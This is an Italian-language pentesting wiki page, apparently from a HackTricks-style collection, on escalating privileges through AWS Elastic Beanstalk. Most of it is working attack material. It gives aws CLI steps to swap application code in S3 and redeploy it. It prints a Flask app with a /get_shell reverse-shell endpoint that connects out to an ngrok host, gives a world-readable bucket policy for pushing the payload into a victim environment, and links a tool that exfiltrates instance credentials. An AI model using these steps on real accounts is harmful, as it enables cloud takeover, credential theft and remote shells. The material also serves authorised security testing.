# AWS - Elastic Beanstalk Privesc

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## Elastic Beanstalk

Ulteriori **informazioni su Elastic Beanstalk** in:

{{#ref}}
../../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}

> [!WARNING]
> Per eseguire azioni sensibili in Beanstalk avrai bisogno di **molti permessi sensibili in molti servizi diversi**. Puoi controllare, per esempio, i permessi concessi a **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**

### `elasticbeanstalk:RebuildEnvironment`, permessi di scrittura su S3 e molti altri

Con **permessi di scrittura sul bucket S3** che contiene il **code** dell'ambiente e permessi per **ricostruire** l'applicazione (sono necessari `elasticbeanstalk:RebuildEnvironment` e alcuni altri relativi a `S3`, `EC2` e `Cloudformation`), puoi **modificare** il **code**, **ricostruire** l'app e, la volta successiva che accedi all'app, questa eseguirà il **tuo nuovo code**, permettendo all'attaccante di compromettere l'applicazione e le credenziali del ruolo IAM associate.
```bash
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
```
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more...

Quelle citate, insieme a diverse autorizzazioni **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** e **`elasticloadbalancing`**, sono necessarie per creare da zero uno scenario Elastic Beanstalk.

- Crea un'applicazione AWS Elastic Beanstalk:
```bash
aws elasticbeanstalk create-application --application-name MyApp
```
- Crea un ambiente AWS Elastic Beanstalk ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
```bash
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
```
Se un ambiente è già stato creato e **non vuoi crearne uno nuovo**, puoi semplicemente **aggiornare** quello esistente.

- Comprimi il codice della tua applicazione e le dipendenze in un file ZIP:
```python
zip -r MyApp.zip .
```
- Carica il file ZIP in un bucket S3:
```python
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
```
- Crea una AWS Elastic Beanstalk application version:
```css
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
```
- Distribuisci la versione dell'applicazione nel tuo ambiente AWS Elastic Beanstalk:
```bash
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
```
### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`

Per prima cosa devi creare un **legit Beanstalk environment** con il **code** che vorresti eseguire sulla **victim** seguendo i **previous steps**. Potenzialmente un semplice **zip** contenente questi **2 file**:

{{#tabs }}
{{#tab name="application.py" }}
```python
from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()
```
{{#endtab }}

{{#tab name="requirements.txt" }}
```
click==7.1.2
Flask==1.1.2
itsdangerous==1.1.0
Jinja2==2.11.3
MarkupSafe==1.1.1
Werkzeug==1.0.1
```
{{#endtab }}
{{#endtabs }}

Una volta che hai **il tuo Beanstalk env in esecuzione** con la tua rev shell, è il momento di **migrarla** nell'**env** della **vittima**. Per farlo devi **aggiornare la Bucket Policy** del tuo bucket beanstalk S3 in modo che la **vittima possa accedervi** (Nota che questo **aprirà** il Bucket a **TUTTI**):
```json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
```

```bash
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
```
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